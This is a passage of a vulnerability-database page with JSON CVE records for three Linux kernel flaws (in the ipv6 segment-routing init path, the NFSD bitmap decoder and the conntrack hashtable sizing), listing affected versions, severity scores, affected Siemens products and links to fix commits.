              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "4.10"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "4.10",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "4.20",
                "status": "unaffected",
                "version": "4.19.316",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.5",
                "status": "unaffected",
                "version": "5.4.278",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:acrn:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "acrn",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.11",
                "status": "unaffected",
                "version": "5.10.219",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.16",
                "status": "unaffected",
                "version": "5.15.161",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.2",
                "status": "unaffected",
                "version": "6.1.93",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.7",
                "status": "unaffected",
                "version": "6.6.33",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.9",
                "status": "unaffected",
                "version": "6.8.12",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.10",
                "status": "unaffected",
                "version": "6.9.3",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.10-rc1"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.8,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-38612",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-25T14:07:52.263547Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          },
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-25T14:37:58.950Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:46.235Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/10610575a3ac2a702bf5c57aa931beaf847949c7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/646cd236c55e2cb5f146fc41bbe4034c4af5b2a4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/00e6335329f23ac6cf3105931691674e28bc598c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1a63730fb315bb1bab97edd69ff58ad45e04bb01"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e77a3ec7ada84543e75722a1283785a6544de925"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3398a40dccb88d3a7eef378247a023a78472db66"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/85a70ff1e572160f1eeb096ed48d09a1c9d4d89a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c04d6a914e890ccea4a9d11233009a2ee7978bf4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/160e9d2752181fcf18c662e74022d77d3164cd45"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:09.566Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/seg6.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "10610575a3ac2a702bf5c57aa931beaf847949c7",
              "status": "affected",
              "version": "46738b1317e169b281ad74690276916e24d1be6d",
              "versionType": "git"
            },
            {
              "lessThan": "646cd236c55e2cb5f146fc41bbe4034c4af5b2a4",
              "status": "affected",
              "version": "46738b1317e169b281ad74690276916e24d1be6d",
              "versionType": "git"
            },
            {
              "lessThan": "00e6335329f23ac6cf3105931691674e28bc598c",
              "status": "affected",
              "version": "46738b1317e169b281ad74690276916e24d1be6d",
              "versionType": "git"
            },
            {
              "lessThan": "1a63730fb315bb1bab97edd69ff58ad45e04bb01",
              "status": "affected",
              "version": "46738b1317e169b281ad74690276916e24d1be6d",
              "versionType": "git"
            },
            {
              "lessThan": "e77a3ec7ada84543e75722a1283785a6544de925",
              "status": "affected",
              "version": "46738b1317e169b281ad74690276916e24d1be6d",
              "versionType": "git"
            },
            {
              "lessThan": "3398a40dccb88d3a7eef378247a023a78472db66",
              "status": "affected",
              "version": "46738b1317e169b281ad74690276916e24d1be6d",
              "versionType": "git"
            },
            {
              "lessThan": "85a70ff1e572160f1eeb096ed48d09a1c9d4d89a",
              "status": "affected",
              "version": "46738b1317e169b281ad74690276916e24d1be6d",
              "versionType": "git"
            },
            {
              "lessThan": "c04d6a914e890ccea4a9d11233009a2ee7978bf4",
              "status": "affected",
              "version": "46738b1317e169b281ad74690276916e24d1be6d",
              "versionType": "git"
            },
            {
              "lessThan": "160e9d2752181fcf18c662e74022d77d3164cd45",
              "status": "affected",
              "version": "46738b1317e169b281ad74690276916e24d1be6d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/seg6.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.10"
            },
            {
              "lessThan": "4.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: sr: fix invalid unregister error path\n\nThe error path of seg6_init() is wrong in case CONFIG_IPV6_SEG6_LWTUNNEL\nis not defined. In that case if seg6_hmac_init() fails, the\ngenl_unregister_family() isn\u0027t called.\n\nThis issue exist since commit 46738b1317e1 (\"ipv6: sr: add option to control\nlwtunnel support\"), and commit 5559cea2d5aa (\"ipv6: sr: fix possible\nuse-after-free and null-ptr-deref\") replaced unregister_pernet_subsys()\nwith genl_unregister_family() in this error path."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:20:08.228Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/10610575a3ac2a702bf5c57aa931beaf847949c7"
        },
        {
          "url": "https://git.kernel.org/stable/c/646cd236c55e2cb5f146fc41bbe4034c4af5b2a4"
        },
        {
          "url": "https://git.kernel.org/stable/c/00e6335329f23ac6cf3105931691674e28bc598c"
        },
        {
          "url": "https://git.kernel.org/stable/c/1a63730fb315bb1bab97edd69ff58ad45e04bb01"
        },
        {
          "url": "https://git.kernel.org/stable/c/e77a3ec7ada84543e75722a1283785a6544de925"
        },
        {
          "url": "https://git.kernel.org/stable/c/3398a40dccb88d3a7eef378247a023a78472db66"
        },
        {
          "url": "https://git.kernel.org/stable/c/85a70ff1e572160f1eeb096ed48d09a1c9d4d89a"
        },
        {
          "url": "https://git.kernel.org/stable/c/c04d6a914e890ccea4a9d11233009a2ee7978bf4"
        },
        {
          "url": "https://git.kernel.org/stable/c/160e9d2752181fcf18c662e74022d77d3164cd45"
        }
      ],
      "title": "ipv6: sr: fix invalid unregister error path",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38612",
    "datePublished": "2024-06-19T13:56:13.415Z",
    "dateReserved": "2024-06-18T19:36:34.944Z",
    "dateUpdated": "2026-05-12T11:55:09.566Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2021-4090 (GCVE-0-2021-4090)

Vulnerability from cvelistv5 – Published: 2022-02-18 00:00 – Updated: 2026-05-12 10:12

Summary

An out-of-bounds (OOB) memory write flaw was found in the NFSD in the Linux kernel. Missing sanity may lead to a write beyond bmval[bmlen-1] in nfsd4_decode_bitmap4 in fs/nfsd/nfs4xdr.c. In this flaw, a local attacker with user privilege may gain access to out-of-bounds memory, leading to a system integrity and confidentiality threat.

Severity ?

No CVSS data available.

CWE

CWE-787

Assigner

redhat

References

3 references

URL	Tags
https://bugzilla.redhat.com/show_bug.cgi?id=2025101
https://lore.kernel.org/linux-nfs/163692036074.16…
https://security.netapp.com/advisory/ntap-2022031…

Impacted products

1 product

Vendor	Product	Version
n/a	kernel	Affected: kernel 5.16 rc2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T17:16:03.753Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2025101"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lore.kernel.org/linux-nfs/163692036074.16710.5678362976688977923.stgit%40klimt.1015granger.net/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20220318-0010/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:17.487Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kernel",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "kernel 5.16 rc2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "An out-of-bounds (OOB) memory write flaw was found in the NFSD in the Linux kernel. Missing sanity may lead to a write beyond bmval[bmlen-1] in nfsd4_decode_bitmap4 in fs/nfsd/nfs4xdr.c. In this flaw, a local attacker with user privilege may gain access to out-of-bounds memory, leading to a system integrity and confidentiality threat."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-787",
              "description": "CWE-787",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-10-07T00:00:00.000Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2025101"
        },
        {
          "url": "https://lore.kernel.org/linux-nfs/163692036074.16710.5678362976688977923.stgit%40klimt.1015granger.net/"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20220318-0010/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2021-4090",
    "datePublished": "2022-02-18T00:00:00.000Z",
    "dateReserved": "2021-12-10T00:00:00.000Z",
    "dateUpdated": "2026-05-12T10:12:17.487Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21648 (GCVE-0-2025-21648)

Vulnerability from cvelistv5 – Published: 2025-01-19 10:18 – Updated: 2026-05-12 12:03

Title

netfilter: conntrack: clamp maximum hashtable size to INT_MAX

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: conntrack: clamp maximum hashtable size to INT_MAX Use INT_MAX as maximum size for the conntrack hashtable. Otherwise, it is possible to hit WARN_ON_ONCE in __kvmalloc_node_noprof() when resizing hashtable because __GFP_NOWARN is unset. See: 0708a0afe291 ("mm: Consider __GFP_NOWARN flag for oversized kvmalloc() calls") Note: hashtable resize is only possible from init_netns.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/a965f7f0ea3ae61b9…
https://git.kernel.org/stable/c/b1b2353d768f1b80c…
https://git.kernel.org/stable/c/5552b4fd44be3393b…
https://git.kernel.org/stable/c/d5807dd1328bbc86e…
https://git.kernel.org/stable/c/f559357d035877b9d…
https://git.kernel.org/stable/c/b541ba7d1f5a5b7b3…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9cc1c73ad66610bffc80b691136ffc1e9a3b1a58 , < a965f7f0ea3ae61b9165bed619d5d6da02c75f80 (git) Affected: 9cc1c73ad66610bffc80b691136ffc1e9a3b1a58 , < b1b2353d768f1b80cd7fe045a70adee576b9b338 (git) Affected: 9cc1c73ad66610bffc80b691136ffc1e9a3b1a58 , < 5552b4fd44be3393b930434a7845d8d95a2a3c33 (git) Affected: 9cc1c73ad66610bffc80b691136ffc1e9a3b1a58 , < d5807dd1328bbc86e059c5de80d1bbee9d58ca3d (git) Affected: 9cc1c73ad66610bffc80b691136ffc1e9a3b1a58 , < f559357d035877b9d0dcd273e0ff83e18e1d46aa (git) Affected: 9cc1c73ad66610bffc80b691136ffc1e9a3b1a58 , < b541ba7d1f5a5b7b3e2e22dc9e40e18a7d6dbc13 (git)
Linux	Linux	Affected: 4.7 Unaffected: 0 , < 4.7 (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.125 , ≤ 6.1.* (semver) Unaffected: 6.6.72 , ≤ 6.6.* (semver) Unaffected: 6.12.10 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:58:30.561Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:04.537Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_conntrack_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a965f7f0ea3ae61b9165bed619d5d6da02c75f80",
              "status": "affected",
              "version": "9cc1c73ad66610bffc80b691136ffc1e9a3b1a58",
              "versionType": "git"
            },
            {
              "lessThan": "b1b2353d768f1b80cd7fe045a70adee576b9b338",
              "status": "affected",
              "version": "9cc1c73ad66610bffc80b691136ffc1e9a3b1a58",
              "versionType": "git"
            },
            {
              "lessThan": "5552b4fd44be3393b930434a7845d8d95a2a3c33",
              "status": "affected",
              "version": "9cc1c73ad66610bffc80b691136ffc1e9a3b1a58",
              "versionType": "git"
            },
            {
              "lessThan": "d5807dd1328bbc86e059c5de80d1bbee9d58ca3d",
              "status": "affected",
              "version": "9cc1c73ad66610bffc80b691136ffc1e9a3b1a58",
              "versionType": "git"
            },
            {
              "lessThan": "f559357d035877b9d0dcd273e0ff83e18e1d46aa",
              "status": "affected",
              "version": "9cc1c73ad66610bffc80b691136ffc1e9a3b1a58",
              "versionType": "git"
            },
            {
              "lessThan": "b541ba7d1f5a5b7b3e2e22dc9e40e18a7d6dbc13",
              "status": "affected",
              "version": "9cc1c73ad66610bffc80b691136ffc1e9a3b1a58",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_conntrack_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.7"
            },
            {
              "lessThan": "4.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.125",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.72",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.125",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.72",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.10",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: conntrack: clamp maximum hashtable size to INT_MAX\n\nUse INT_MAX as maximum size for the conntrack hashtable. Otherwise, it\nis possible to hit WARN_ON_ONCE in __kvmalloc_node_noprof() when\nresizing hashtable because __GFP_NOWARN is unset. See:\n\n  0708a0afe291 (\"mm: Consider __GFP_NOWARN flag for oversized kvmalloc() calls\")\n\nNote: hashtable resize is only possible from init_netns."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:03:44.670Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a965f7f0ea3ae61b9165bed619d5d6da02c75f80"
        },
        {
          "url": "https://git.kernel.org/stable/c/b1b2353d768f1b80cd7fe045a70adee576b9b338"
        },
        {
          "url": "https://git.kernel.org/stable/c/5552b4fd44be3393b930434a7845d8d95a2a3c33"
        },
        {
          "url": "https://git.kernel.org/stable/c/d5807dd1328bbc86e059c5de80d1bbee9d58ca3d"
        },
        {
          "url": "https://git.kernel.org/stable/c/f559357d035877b9d0dcd273e0ff83e18e1d46aa"
        },
        {
          "url": "https://git.kernel.org/stable/c/b541ba7d1f5a5b7b3e2e22dc9e40e18a7d6dbc13"
        }
      ],
      "title": "netfilter: conntrack: clamp maximum hashtable size to INT_MAX",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21648",
    "datePublished": "2025-01-19T10:18:05.700Z",
    "dateReserved": "2024-12-29T08:45:45.728Z",
